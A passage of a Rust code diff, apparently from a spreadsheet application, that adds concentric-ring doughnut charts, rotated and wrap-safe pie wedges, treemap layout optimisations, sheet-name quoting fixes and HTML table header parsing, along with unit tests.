idx.select_nth_unstable_by(cap - 1, |a, b| vals[*b].total_cmp(&vals[*a]));
idx.truncate(cap);
idx.sort_unstable();
}
idx.into_iter().map(|j| (j, vals[j])).collect()
}
/// One ring's geometry and separator stroke: the slices of a ring differ only in angle and colour.
struct Ring {
cx: f32,
cy: f32,
outer: f32,
inner: f32,
stroke: Option<(Rgba, f32)>,
}
/// A wedge of `ring`, split at 12 o'clock when it crosses the end of the circle.
fn wedge(ctx: &mut Ctx, ring: &Ring, a0: f32, sweep: f32, fill: Rgba) {
let Ring { cx, cy, outer, inner, stroke } = *ring;
if sweep <= 1e-4 {
return;
}
// A slice that starts past 12 o'clock still has to be split against 12 o'clock, not against
// its unwrapped start: otherwise the half after TAU is drawn from 0 over its neighbours.
let a0 = a0.rem_euclid(TAU);
let a1 = a0 + sweep;
if a1 <= TAU {
ctx.out.push(Prim::Wedge { cx, cy, r_outer: outer, r_inner: inner, a0, a1, fill, stroke });
return;
}
// The halves are filled without a stroke: each would outline its own radial edge at 12
// o'clock, painting the white separator straight through the slice.
ctx.out.push(Prim::Wedge { cx, cy, r_outer: outer, r_inner: inner, a0, a1: TAU, fill, stroke: None });
ctx.out.push(Prim::Wedge { cx, cy, r_outer: outer, r_inner: inner, a0: 0.0, a1: a1 - TAU, fill, stroke: None });
if let Some((color, width)) = stroke {
// One outline for the whole slice: the outer and inner arcs run through 12 o'clock, and
// the two radial edges at the slice's own start and end close the path.
let arc = |r: f32, from: f32, to: f32| -> Vec<[f32; 2]> {
let steps = ((r.abs() * (to - from).abs() / 2.0).ceil() as usize).clamp(4, 512);
let at = |a: f32| [cx + r * a.sin(), cy - r * a.cos()];
(0..=steps).map(|k| at(from + (to - from) * k as f32 / steps as f32)).collect()
};
let mut pts = arc(outer, a0, a1);
if inner > 0.0 {
pts.extend(arc(inner, a1, a0));
} else {
pts.push([cx, cy]);
}
let start = pts[0];
pts.push(start);
ctx.out.push(Prim::Line { pts, color, width, dash: false });
}
}
pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inner: f32, names: bool) {
let Some(s) = data.series.first() else { return };
let vals: Vec<f64> = s.values.iter().take(MAX_CATS).map(|v| v.map(f64::abs).unwrap_or(0.0)).collect();
@@ -176,14 +236,15 @@ pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inne
return;
}
let ri = r * inner;
let ring = Ring { cx, cy, outer: r, inner: ri, stroke: Some((WHITE, 1.5)) };
let f = Fmt::new(&s.number_format);
let mut a = 0.0f32;
let mut a = (chart.first_slice_angle % 360) as f32 * TAU / 360.0;
let mut labels = Vec::new();
for (j, v) in vals.iter().enumerate() {
let sweep = (*v / total) as f32 * TAU;
if sweep > 1e-4 {
let fill = point_color(data, j);
ctx.out.push(Prim::Wedge { cx, cy, r_outer: r, r_inner: ri, a0: a, a1: (a + sweep).min(TAU), fill, stroke: Some((WHITE, 1.5)) });
wedge(ctx, &ring, a, sweep, fill);
if (chart.data_labels || names) && vals.len() <= MAX_LABELS {
let t = if names { cat_label(data, j) } else { f.format(s.values.get(j).copied().flatten().unwrap_or(0.0), None) };
let mid = a + sweep / 2.0;
@@ -201,14 +262,89 @@ pub(super) fn pie(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx, inne
}
}
/// Excel's doughnut: every series is one concentric ring, the first series innermost (measured in
/// Excel: ring outer radii ≈0.83, 0.92 and 1.0 of the plot radius for series 1, 2 and 3). The hole
/// size and first slice angle come from the chart; each ring is scaled to its own total.
pub(super) fn doughnut(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx) {
let nser = data.series.len().min(MAX_SERIES);
if nser == 0 {
return;
}
let (cx, cy) = (area.cx(), area.cy());
let r = area.w.min(area.h) / 2.0 * 0.92;
if r < 2.0 {
return;
}
let hole = f32::from(chart.hole_size.clamp(10, 90)) / 100.0;
let ri = r * hole;
let thick = (r - ri) / nser as f32;
// A ring thinner than a pixel would vanish. Rather than suppressing the whole chart when there
// are more series than the annulus has pixels, keep the outer rings at one pixel each and drop
// the innermost series that no longer fit: Excel's order makes the first series the innermost,
// so the outermost rings are the ones worth keeping.
let band = thick.max(1.0);
let start = (chart.first_slice_angle % 360) as f32 * TAU / 360.0;
// Only rings with a pixel of band are drawn, and the wedge budget is shared across them in
// drawing order: the innermost ring (the first series) gets its slices first, and the outer
// rings are capped instead of the series × category product growing without bound.
let rings: Vec<(&SeriesData, f32, f32)> = data
.series
.iter()
.take(nser)
.enumerate()
.filter_map(|(si, s)| {
let outer = (r - (nser - 1 - si) as f32 * band).min(r);
let inner = (r - (nser - si) as f32 * band).max(ri);
(outer - inner >= 1.0).then_some((s, outer, inner))
})
.collect();
let mut budget = MAX_WEDGES;
let mut labels = Vec::new();
for (k, (s, outer, inner)) in rings.iter().enumerate() {
// The white separator is 1.5 units wide, wider than a one-pixel band: on a thin ring it
// would paint over the fill of this ring and its neighbour, so such rings keep only fill.
let stroke = if outer - inner > 1.0 { Some((WHITE, 1.5)) } else { None };
let ring = Ring { cx, cy, outer: *outer, inner: *inner, stroke };
let vals: Vec<f64> = s.values.iter().take(MAX_CATS).map(|v| v.map(f64::abs).unwrap_or(0.0)).collect();
let cap = (budget / (rings.len() - k)).max(1);
let slices = largest_slices(&vals, cap);
let total: f64 = slices.iter().map(|(_, v)| *v).sum();
if !(total.is_finite() && total > 0.0) {
continue;
}
let n = slices.len();
budget = budget.saturating_sub(n);
let f = Fmt::new(&s.number_format);
let mut a = start;
for (j, v) in slices {
let sweep = (v / total) as f32 * TAU;
if sweep > 1e-4 {
let fill = point_color(data, j);
wedge(ctx, &ring, a, sweep, fill);
if chart.data_labels && n <= MAX_LABELS {
let t = f.format(s.values.get(j).copied().flatten().unwrap_or(0.0), None);
let mid = a + sweep / 2.0;
let rr = (outer + inner) / 2.0;
if ctx.tw(&t, LABEL_SIZE) <= (sweep * rr).max(outer - inner) && sweep * rr >= LABEL_SIZE {
labels.push((cx + rr * mid.sin(), cy - rr * mid.cos(), t, on(fill)));
}
}
}
a += sweep;
}
}
for (x, y, t, c) in labels {
ctx.text(x, y, &t, LABEL_SIZE, c, (HAlign::Center, VAlign::Middle));
}
}
// ---------------------------------------------------------------- treemap
fn worst(row: &[f64], side: f64) -> f64 {
let s: f64 = row.iter().sum();
/// Worst aspect ratio of a row with the given sum, smallest and largest area.
fn worst(s: f64, mn: f64, mx: f64, side: f64) -> f64 {
if s <= 0.0 || side <= 0.0 {
return f64::INFINITY;
}
let (mn, mx) = row.iter().fold((f64::INFINITY, 0.0f64), |(a, b), v| (a.min(*v), b.max(*v)));
let s2 = s * s;
let w2 = side * side;
(w2 * mx / s2).max(s2 / (w2 * mn))
@@ -225,6 +361,8 @@ fn squarify(items: &[(usize, f64)], r: Bx) -> Vec<(usize, Bx)> {
let mut out = Vec::with_capacity(items.len());
let mut rem = r;
let mut row: Vec<(usize, f64)> = Vec::new();
// The row's sum, smallest and largest area, kept as items join so each step is O(1).
let (mut sum, mut mn, mut mx) = (0.0f64, f64::INFINITY, 0.0f64);
let mut i = 0;
let layout = |row: &[(usize, f64)], rem: &mut Bx, out: &mut Vec<(usize, Bx)>| {
let s: f64 = row.iter().map(|x| x.1).sum();
@@ -256,15 +394,14 @@ fn squarify(items: &[(usize, f64)], r: Bx) -> Vec<(usize, Bx)> {
while let Some(&(j, v)) = items.get(i) {
let a = v * scale;
let side = rem.w.min(rem.h) as f64;
let cur: Vec<f64> = row.iter().map(|x| x.1).collect();
let mut with = cur.clone();
with.push(a);
if row.is_empty() || worst(&with, side) <= worst(&cur, side) {
if row.is_empty() || worst(sum + a, mn.min(a), mx.max(a), side) <= worst(sum, mn, mx, side) {
row.push((j, a));
(sum, mn, mx) = (sum + a, mn.min(a), mx.max(a));
i += 1;
} else {
layout(&row, &mut rem, &mut out);
row.clear();
(sum, mn, mx) = (0.0, f64::INFINITY, 0.0);
}
}
if !row.is_empty() {
@@ -279,6 +416,7 @@ pub(super) fn treemap(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx)
s.values.iter().take(MAX_MARKERS).enumerate().filter_map(|(j, v)| v.filter(|v| *v > 0.0).map(|v| (j, v))).collect();
items.sort_by(|a, b| b.1.total_cmp(&a.1));
let f = Fmt::new(&s.number_format);
let value_of: std::collections::HashMap<usize, f64> = items.iter().copied().collect();
for (j, b) in squarify(&items, area) {
let fill = point_color(data, j);
ctx.rect(b.x, b.y, b.w, b.h, fill, Some((WHITE, 1.5)));
@@ -286,7 +424,7 @@ pub(super) fn treemap(ctx: &mut Ctx, chart: &Chart, data: &ChartData, area: Bx)
let name = ctx.fit(&cat_label(data, j), LABEL_SIZE, b.w - 8.0);
ctx.text(b.x + 4.0, b.y + 4.0, &name, LABEL_SIZE, on(fill), (HAlign::Left, VAlign::Top));
if chart.data_labels && b.h > LABEL_SIZE * 3.2 {
let v = items.iter().find(|x| x.0 == j).map(|x| x.1).unwrap_or(0.0);
let v = value_of.get(&j).copied().unwrap_or(0.0);
let t = ctx.fit(&f.format(v, None), LABEL_SIZE, b.w - 8.0);
ctx.text(b.x + 4.0, b.y + 4.0 + LABEL_SIZE * 1.4, &t, LABEL_SIZE, on(fill), (HAlign::Left, VAlign::Top));
}
+2
View File
@@ -42,6 +42,8 @@ pub fn legend_entries(chart: &Chart, data: &ChartData) -> Vec<(String, Rgba, Swa
return vec![];
}
match chart.kind {
// Pie, doughnut (Excel's default `varyColors=1`, so every ring repeats the category colours
// and the legend names categories rather than series), treemap and sunburst.
ChartKind::Pie | ChartKind::Doughnut | ChartKind::Treemap | ChartKind::Sunburst => {
let n = first_len(data).min(MAX_CATS);
(0..n).map(|j| (cat_label(data, j), point_color(data, j), Swatch::Box)).collect()
+4 -3
View File
@@ -179,9 +179,10 @@ fn category_table(wb: &Workbook, sheet: usize, formula: &str, values: &str) -> (
/// Whether `t` names a defined name seen from `sheet` (`Name`, or `Sheet1!Name` looked up on
/// that sheet), the way the evaluator looks names up.
fn is_defined_name(wb: &Workbook, sheet: usize, t: &str) -> bool {
match t.split_once('!') {
Some((s, bare)) => wb.sheet_index(s.trim_matches('\'')).is_some_and(|i| wb.name(bare, i).is_some()),
None => wb.name(t, sheet).is_some(),
// `'Bob''s'!Name`: the sheet is unquoted as everywhere else (#2012).
match gridcraft_core::split_sheet(t) {
(Some(s), bare) => wb.sheet_index(&s).is_some_and(|i| wb.name(bare, i).is_some()),
(None, _) => wb.name(t, sheet).is_some(),
}
}
+390 -1
View File
@@ -48,6 +48,8 @@ fn chart(kind: ChartKind) -> Chart {
data_table: None,
gridlines: true,
style: 0,
hole_size: 75,
first_slice_angle: 0,
x_title: Some("Quarter".into()),
y_title: Some("Revenue".into()),
source: None,
@@ -149,6 +151,317 @@ fn every_kind_renders_sanely() {
}
}
#[test]
fn doughnut_draws_each_series_as_a_ring() {
let mut c = chart(ChartKind::Doughnut);
c.title = None;
c.legend = LegendPos::None;
c.data_labels = false;
c.hole_size = 25;
c.first_slice_angle = 0;
let d = ChartData {
category_levels: vec![],
palette: vec![],
categories: ["A", "B", "C"].iter().map(|s| s.to_string()).collect(),
series: vec![
series("Inner", &[1.0, 2.0, 3.0], [20, 96, 130, 255], ChartKind::Doughnut),
series("Middle", &[3.0, 2.0, 1.0], [221, 132, 82, 255], ChartKind::Doughnut),
series("Outer", &[1.0, 1.0, 1.0], [89, 161, 79, 255], ChartKind::Doughnut),
],
};
let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure);
let wedges: Vec<(f32, f32, f32)> = prims
.iter()
.filter_map(|p| match p {
Prim::Wedge { r_outer, r_inner, a0, .. } => Some((*r_outer, *r_inner, *a0)),
_ => None,
})
.collect();
assert_eq!(wedges.len(), 9, "three rings of three slices");
// Excel draws the first series as the innermost ring; the hole is 25% of the radius.
assert!(wedges[0].0 < wedges[3].0 && wedges[3].0 < wedges[6].0, "{wedges:?}");
assert!(wedges[0].1 > 0.0, "hole: {wedges:?}");
}
#[test]
fn doughnut_with_many_series_still_draws_the_outer_rings() {
let mut c = chart(ChartKind::Doughnut);
c.title = None;
c.legend = LegendPos::None;
c.data_labels = false;
c.hole_size = 75;
// The annulus is a few dozen pixels tall and there are far more series than pixels, so every
// ring is thinner than 1 px. The chart used to draw nothing at all.
let many = ChartData {
category_levels: vec![],
palette: vec![],
categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
series: (0..255).map(|i| series(&format!("S{i}"), &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut)).collect(),
};
let single = ChartData {
category_levels: vec![],
palette: vec![],
categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
// Two series, so the title fallback (a lone series names the chart) does not shrink the plot.
series: vec![
series("Only", &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut),
series("Other", &[1.0, 1.0], [221, 132, 82, 255], ChartKind::Doughnut),
],
};
let (w, h) = (640.0, 400.0);
let radii = |d: &ChartData| -> Vec<f32> {
render(&c, d, w, h, &ApproxMeasure)
.iter()
.filter_map(|p| match p {
Prim::Wedge { r_outer, .. } => Some(*r_outer),
_ => None,
})
.collect()
};
let outer = radii(&many);
assert!(!outer.is_empty(), "a sub-pixel ring must not suppress the whole chart");
let mut distinct = outer.clone();
distinct.sort_by(f32::total_cmp);
distinct.dedup();
assert!(distinct.len() > 8, "only {} rings drawn", distinct.len());
assert!(distinct.len() < 255, "too many rings for the pixels available: {}", distinct.len());
// The outermost ring still reaches the plot radius the single-ring chart uses.
let r = radii(&single).into_iter().fold(0.0f32, f32::max);
let drawn = distinct.last().copied().unwrap_or(0.0);
assert!((drawn - r).abs() < 0.01, "outermost ring {drawn} of {r}");
}
#[test]
fn doughnut_one_pixel_rings_skip_the_separator_stroke() {
let mut c = chart(ChartKind::Doughnut);
c.title = None;
c.legend = LegendPos::None;
c.data_labels = false;
c.hole_size = 75;
// 255 series over a 46-pixel annulus: every drawn ring is one pixel tall, narrower than the
// 1.5-pixel white separator, which would otherwise paint over both neighbouring rings.
let thin = ChartData {
category_levels: vec![],
palette: vec![],
categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
series: (0..255).map(|i| series(&format!("S{i}"), &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut)).collect(),
};
let strokes: Vec<Option<(Rgba, f32)>> = render(&c, &thin, 640.0, 400.0, &ApproxMeasure)
.iter()
.filter_map(|p| match p {
Prim::Wedge { stroke, .. } => Some(*stroke),
_ => None,
})
.collect();
assert!(!strokes.is_empty(), "the chart must still draw its rings");
assert!(strokes.iter().all(Option::is_none), "a 1.5px stroke covers a 1px band: {strokes:?}");
// A ring with room for the separator keeps it.
let thick = ChartData {
category_levels: vec![],
palette: vec![],
categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
series: vec![
series("Inner", &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut),
series("Outer", &[1.0, 1.0], [221, 132, 82, 255], ChartKind::Doughnut),
],
};
let strokes: Vec<Option<(Rgba, f32)>> = render(&c, &thick, 640.0, 400.0, &ApproxMeasure)
.iter()
.filter_map(|p| match p {
Prim::Wedge { stroke, .. } => Some(*stroke),
_ => None,
})
.collect();
assert!(!strokes.is_empty());
assert!(strokes.iter().all(Option::is_some), "wide rings keep their separators: {strokes:?}");
}
#[test]
fn doughnut_wedge_budget_bounds_many_series_and_categories() {
let mut c = chart(ChartKind::Doughnut);
c.title = None;
c.legend = LegendPos::None;
c.data_labels = false;
c.hole_size = 75;
c.first_slice_angle = 0;
// 20,000 categories across 80 series would be hundreds of thousands of wedges: the per-series
// limit does not bound the product. The first ten categories of every ring are the largest.
let cats = 20_000usize;
let values: Vec<f64> = (0..cats).map(|j| if j < 10 { 1000.0 } else { 1.0 }).collect();
let d = ChartData {
category_levels: vec![],
palette: vec![],
categories: (0..cats).map(|j| format!("C{j}")).collect(),
series: (0..80)
.map(|i| SeriesData { name: format!("S{i}"), values: values.iter().map(|v| Some(*v)).collect(), ..SeriesData::default() })
.collect(),
};
let wedges: Vec<(f32, f32)> = render(&c, &d, 640.0, 400.0, &ApproxMeasure)
.iter()
.filter_map(|p| match p {
Prim::Wedge { r_outer, a0, a1, .. } => Some((*r_outer, *a1 - *a0)),
_ => None,
})
.collect();
assert!(!wedges.is_empty(), "the innermost ring must still be drawn");
let mut radii: Vec<f32> = wedges.iter().map(|(r, _)| *r).collect();
radii.sort_by(f32::total_cmp);
radii.dedup();
assert!(radii.len() > 1, "every drawable ring is capped, not dropped");
// A slice crossing 12 o'clock is split into two primitives, so each ring may add one.
let budget = crate::render::MAX_WEDGES + radii.len();
assert!(wedges.len() <= budget, "{} wedges for {} rings", wedges.len(), radii.len());
// The first (innermost) ring keeps its largest slices and still fills the circle.
let inner: Vec<f32> = wedges.iter().filter(|(r, _)| *r == radii[0]).map(|(_, a)| *a).collect();
assert!(inner.len() < cats, "the ring was not capped: {}", inner.len());
assert_eq!(inner.iter().filter(|a| **a > 0.1).count(), 10, "largest slices went missing");
let cover: f32 = inner.iter().sum();
assert!((cover - std::f32::consts::TAU).abs() < 0.01, "first ring covers {cover}");
}
#[test]
fn doughnut_first_slice_angle_rotates_the_start() {
let mut c = chart(ChartKind::Doughnut);
c.title = None;
c.legend = LegendPos::None;
c.first_slice_angle = 90;
let d = ChartData {
category_levels: vec![],
palette: vec![],
categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
series: vec![series("Only", &[1.0, 1.0], [20, 96, 130, 255], ChartKind::Doughnut)],
};
let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure);
let first = prims.iter().find_map(|p| match p {
Prim::Wedge { a0, .. } => Some(*a0),
_ => None,
});
assert!(first.is_some_and(|a| (a - std::f32::consts::FRAC_PI_2).abs() < 0.01), "{first:?}");
}
/// Every slice must occupy exactly its angular share, even when the first slice angle pushes the
/// start past 12 o'clock (the split at TAU used to put whole slices over their neighbours).
#[test]
fn rotated_wedges_cover_each_slice_once_without_overlap() {
const TAU: f32 = std::f32::consts::TAU;
for kind in [ChartKind::Doughnut, ChartKind::Pie] {
for angle in [180u16, 270] {
let mut c = chart(kind);
c.title = None;
c.legend = LegendPos::None;
c.data_labels = false;
c.first_slice_angle = angle;
let d = ChartData {
category_levels: vec![],
palette: vec![[230, 126, 34, 255], [39, 174, 96, 255], [142, 68, 173, 255]],
categories: ["A", "B", "C", "D"].iter().map(|s| s.to_string()).collect(),
series: vec![series("Only", &[1.0; 4], [20, 96, 130, 255], kind)],
};
let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure);
let wedges: Vec<(f32, f32)> = prims
.iter()
.filter_map(|p| match p {
Prim::Wedge { a0, a1, .. } => Some((*a0, *a1)),
_ => None,
})
.collect();
assert!(wedges.len() >= 4, "{kind:?} at {angle}: {wedges:?}");
for (a0, a1) in &wedges {
assert!((0.0..TAU).contains(a0), "{kind:?} at {angle}: start {a0} outside [0, TAU)");
assert!(*a1 > *a0 && *a1 <= TAU + 1e-4, "{kind:?} at {angle}: bad sweep {a0}..{a1}");
}
// Sample away from the boundaries: a correct four-slice chart covers every angle once.
let steps = 1440;
for k in 0..steps {
let theta = (k as f32 + 0.5) * TAU / steps as f32;
let cover = wedges.iter().filter(|(a0, a1)| theta >= *a0 && theta < *a1).count();
assert_eq!(cover, 1, "{kind:?} at {angle}: {theta} covered {cover} times by {wedges:?}");
}
}
}
}
/// A slice that crosses 12 o'clock is filled as two halves but outlined once: stroking each half
/// separately ran the white separator along the shared radial edge, straight through the slice.
#[test]
fn slice_crossing_twelve_has_no_internal_seam() {
const TAU: f32 = std::f32::consts::TAU;
let mut c = chart(ChartKind::Pie);
c.title = None;
c.legend = LegendPos::None;
c.data_labels = false;
c.first_slice_angle = 90;
let a = [230, 126, 34, 255];
let b = [39, 174, 96, 255];
let d = ChartData {
category_levels: vec![],
palette: vec![a, b],
categories: ["A", "B"].iter().map(|s| s.to_string()).collect(),
series: vec![series("Only", &[1.0, 1.0], a, ChartKind::Pie)],
};
let (w, h) = (400u32, 400u32);
let prims = render(&c, &d, w as f32, h as f32, &ApproxMeasure);
// The second slice starts at 270° and wraps past 0°, so it is drawn as two unstroked halves.
let mut halves = 0;
let mut cx = 0.0;
let mut cy = 0.0;
let mut r = 0.0;
for p in &prims {
if let Prim::Wedge { cx: x, cy: y, r_outer, a0, a1, fill, stroke, .. } = p
&& *fill == b
{
assert!(stroke.is_none(), "a split half must not stroke its shared edge: {p:?}");
assert!(*a0 == 0.0 || *a1 == TAU, "the crossing slice is split at 12 o'clock: {p:?}");
halves += 1;
(cx, cy, r) = (*x, *y, *r_outer);
}
}
assert_eq!(halves, 2, "one slice crosses 12 o'clock");
// Exactly one outline covers the whole crossing slice, drawn as line primitives.
assert_eq!(prims.iter().filter(|p| matches!(p, Prim::Line { color, .. } if *color == [255, 255, 255, 255])).count(), 1, "{prims:?}");
// No white pixel inside the slice along 12 o'clock, where the shared edge used to be stroked.
let img = rasterize(&prims, w, h, [255, 255, 255, 255]);
for t in [0.3f32, 0.5, 0.7] {
assert_eq!(pixel(&img, w, cx as u32, (cy - r * t) as u32), b, "white seam at {t} of the slice");
}
}
#[test]
fn doughnut_legend_names_categories_and_matches_every_ring() {
let mut c = chart(ChartKind::Doughnut);
c.title = None;
c.data_labels = false;
c.legend = LegendPos::Right;
c.first_slice_angle = 180;
let d = ChartData {
category_levels: vec![],
palette: vec![[230, 126, 34, 255], [39, 174, 96, 255], [142, 68, 173, 255]],
categories: ["A", "B", "C", "D"].iter().map(|s| s.to_string()).collect(),
series: vec![
series("Outer", &[1.0; 4], [20, 96, 130, 255], ChartKind::Doughnut),
series("Inner", &[1.0; 4], [221, 132, 82, 255], ChartKind::Doughnut),
],
};
let entries = legend_entries(&c, &d);
assert_eq!(entries.iter().map(|(name, _, _)| name.as_str()).collect::<Vec<_>>(), ["A", "B", "C", "D"]);
let start = f32::from(c.first_slice_angle) * std::f32::consts::TAU / 360.0;
let prims = render(&c, &d, 640.0, 400.0, &ApproxMeasure);
let mut rings = Vec::new();
for p in &prims {
let Prim::Wedge { r_outer, a0, a1, fill, .. } = p else { continue };
rings.push(*r_outer);
let rel = ((a0 + a1) / 2.0 - start).rem_euclid(std::f32::consts::TAU);
let cat = ((rel / (std::f32::consts::TAU / 4.0)) as usize).min(3);
assert_eq!(*fill, entries[cat].1, "ring wedge at {a0}..{a1} does not match legend entry {}", entries[cat].0);
}
rings.sort_by(f32::total_cmp);
rings.dedup();
assert_eq!(rings.len(), 2, "two series must draw two rings");
}
#[test]
fn legend_counts() {
let d = sample(ChartKind::ColumnClustered);
@@ -461,7 +774,11 @@ fn pie_starts_at_twelve_clockwise() {
assert!(wedges.windows(2).all(|w| w[1].0 >= w[0].1 - 1e-4));
assert!((wedges[5].1 - std::f32::consts::TAU).abs() < 1e-3);
assert!(wedges.iter().all(|w| w.2 == 0.0 && w.3.map(|s| s.0) == Some([255; 4])));
let prims = render(&chart(ChartKind::Doughnut), &d, 400.0, 400.0, &ApproxMeasure);
let mut c = chart(ChartKind::Doughnut);
c.hole_size = 50;
let mut d = sample(ChartKind::Doughnut);
d.series.truncate(1);
let prims = render(&c, &d, 400.0, 400.0, &ApproxMeasure);
let ok = prims.iter().any(|p| matches!(p, Prim::Wedge { r_outer, r_inner, .. } if (r_inner / r_outer - 0.5).abs() < 1e-3));
assert!(ok);
}
@@ -1258,3 +1575,75 @@ fn box_whisker_draws_each_series_quartile_method() {
// The boxes span 3.5 and 2.5 data units on the same value axis.
assert!((heights[0] / heights[1] - 1.4).abs() < 0.001);
}
#[test]
fn a_series_named_by_a_name_on_a_sheet_with_an_apostrophe_resolves() {
// #2012: `'Bob''s'!Title` kept the doubled quote, so the sheet wasn't found and the series
// was named by the literal text.
let mut wb = Workbook::new();
{
let s = wb.sheet_mut(0).unwrap();
s.name = "Bob's".into();
s.set_value(CellRef::new(0, 0), Value::from("Takings"));
s.set_value(CellRef::new(1, 0), Value::Number(4.0));
s.set_value(CellRef::new(2, 0), Value::Number(9.0));
}
wb.names.push(gridcraft_model::DefinedName {
name: "Title".into(),
scope: Some(0),
formula: "'Bob''s'!$A$1".into(),
comment: String::new(),
hidden: false,
});
let mut c = chart(ChartKind::ColumnClustered);
c.series = vec![Series {
name: Some("'Bob''s'!Title".into()),
categories: None,
values: "'Bob''s'!$A$2:$A$3".into(),
bubble_sizes: None,
color: None,
secondary: false,
kind: None,
quartiles: Default::default(),
smooth: false,
trendlines: Vec::new(),
}];
let d = resolve(&wb, 0, &c);
assert_eq!(d.series.first().map(|s| s.name.as_str()), Some("Takings"));
}
#[test]
fn a_series_named_by_a_name_on_a_sheet_with_a_bang_resolves() {
// `'a!b'!Title`: the sheet name holds a `!`, so the evaluator must split the parsed name at
// the last one, not the first.
let mut wb = Workbook::new();
{
let s = wb.sheet_mut(0).unwrap();
s.name = "a!b".into();
s.set_value(CellRef::new(0, 0), Value::from("Takings"));
s.set_value(CellRef::new(1, 0), Value::Number(4.0));
s.set_value(CellRef::new(2, 0), Value::Number(9.0));
}
wb.names.push(gridcraft_model::DefinedName {
name: "Title".into(),
scope: Some(0),
formula: "'a!b'!$A$1".into(),
comment: String::new(),
hidden: false,
});
let mut c = chart(ChartKind::ColumnClustered);
c.series = vec![Series {
name: Some("'a!b'!Title".into()),
categories: None,
values: "'a!b'!$A$2:$A$3".into(),
bubble_sizes: None,
color: None,
secondary: false,
kind: None,
quartiles: Default::default(),
smooth: false,
trendlines: Vec::new(),
}];
let d = resolve(&wb, 0, &c);
assert_eq!(d.series.first().map(|s| s.name.as_str()), Some("Takings"));
}
+5
View File
@@ -275,6 +275,11 @@ pub const CATALOG: &[(&str, &str, &str, &str)] = &[
("automate.allScripts", "Automate", "Scripting Tools", "All Scripts"),
("automate.recordActions", "Automate", "Scripting Tools", "Record Actions"),
("automate.trustScripts", "Automate", "Scripting Tools", "Trust Scripts"),
// Developer (Insert › Controls in GridCraft)
("insert.button", "Developer", "Controls", "Button (Form Control)"),
("insert.spinButton", "Developer", "Controls", "Spin Button (Form Control)"),
("insert.slider", "Developer", "Controls", "Scroll Bar (Form Control)"),
("control.format", "Developer", "Controls", "Properties"),
// Table Design
("table.rename", "Table Design", "Properties", "Table Name"),
("table.resize", "Table Design", "Properties", "Resize Table"),
+9 -7
View File
@@ -17,11 +17,13 @@ const MAX_ROW_SPAN: usize = gridcraft_core::MAX_ROWS as usize;
/// table is ignored: the HTML only refines cells of the tab-separated text, which stays the source.
const MAX_HTML_CELLS: usize = 1_000_000;
/// One table cell: its visible text and the number the source recorded for it, if any.
/// One table cell: its visible text, the number the source recorded for it, if any, and whether
/// it is a header cell (`<th>`).
#[derive(Clone, Debug, Default, PartialEq)]
pub(crate) struct HtmlCell {
pub text: String,
pub num: Option<f64>,
pub header: bool,
}
/// The cells of the first table in `html`, row by row, read no further than `max_rows` rows of
@@ -88,7 +90,7 @@ pub(crate) fn table_cells(html: &str, max_rows: usize, max_cols: usize) -> Vec<V
let num = attr(attrs, "x:num").or_else(|| attr(attrs, "sdval")).and_then(|v| v.trim().parse::<f64>().ok()).filter(|n| n.is_finite());
let colspan = span(attrs, "colspan", MAX_SPAN);
let rowspan = span(attrs, "rowspan", MAX_ROW_SPAN);
cell = Some(OpenCell { cell: HtmlCell { text: String::new(), num }, colspan, rowspan });
cell = Some(OpenCell { cell: HtmlCell { text: String::new(), num, header: name == "th" }, colspan, rowspan });
}
("td" | "th", true) | ("tr", true) => grid.finish(&mut cell),
("br", _) => {
@@ -376,18 +378,18 @@ mod tests {
<tr><td colspan=2 x:num="2.5">2.50 &amp; up</td><td>x</td></tr><!--EndFragment--></table></body></html>"#;
let rows = table_cells(excel, 2, 3);
assert_eq!(rows.len(), 2);
assert_eq!(rows[0][0], HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0) });
assert_eq!(rows[0][1], HtmlCell { text: "Name".into(), num: None });
assert_eq!(rows[0][0], HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0), ..HtmlCell::default() });
assert_eq!(rows[0][1], HtmlCell { text: "Name".into(), num: None, ..HtmlCell::default() });
assert_eq!(rows[1].len(), 3, "colspan keeps the next cell in its column");
assert_eq!(rows[1][0].text, "2.50 & up");
assert_eq!(rows[1][2].text, "x");
let calc = r#"<table cellspacing="0" border="0"><colgroup width="85"></colgroup><tr>
<td height="17" align="right" sdval="10000" sdnum="1033;0;[$Rp-421]#,##0.00"><font face="Liberation Sans">Rp10,000.00</font></td></tr></table>"#;
assert_eq!(table_cells(calc, 1, 1), vec![vec![HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0) }]]);
assert_eq!(table_cells(calc, 1, 1), vec![vec![HtmlCell { text: "Rp10,000.00".into(), num: Some(10000.0), ..HtmlCell::default() }]]);
let quoted_gt = r#"<table><tr><td style='mso-number-format:"\[>=1000\]0"' x:num="1500">1500</td></tr></table>"#;
assert_eq!(table_cells(quoted_gt, 1, 1), vec![vec![HtmlCell { text: "1500".into(), num: Some(1500.0) }]]);
assert_eq!(table_cells(quoted_gt, 1, 1), vec![vec![HtmlCell { text: "1500".into(), num: Some(1500.0), ..HtmlCell::default() }]]);
}
#[test]
@@ -434,7 +436,7 @@ mod tests {
assert!(cells <= MAX_HTML_CELLS, "{cells} cells");
assert!(rows.iter().all(|r| r.len() <= MAX_SPAN));
assert_eq!(rows[0].len(), MAX_SPAN, "the first span fills the sheet's width");
assert_eq!(rows[0][0], HtmlCell { text: "1".into(), num: Some(1.0) });
assert_eq!(rows[0][0], HtmlCell { text: "1".into(), num: Some(1.0), ..HtmlCell::default() });
// Bounded by the pasted text's shape, the same markup yields just that shape.
let rows = table_cells(&html, 3, 2);
+9 -2
View File
@@ -2,6 +2,7 @@
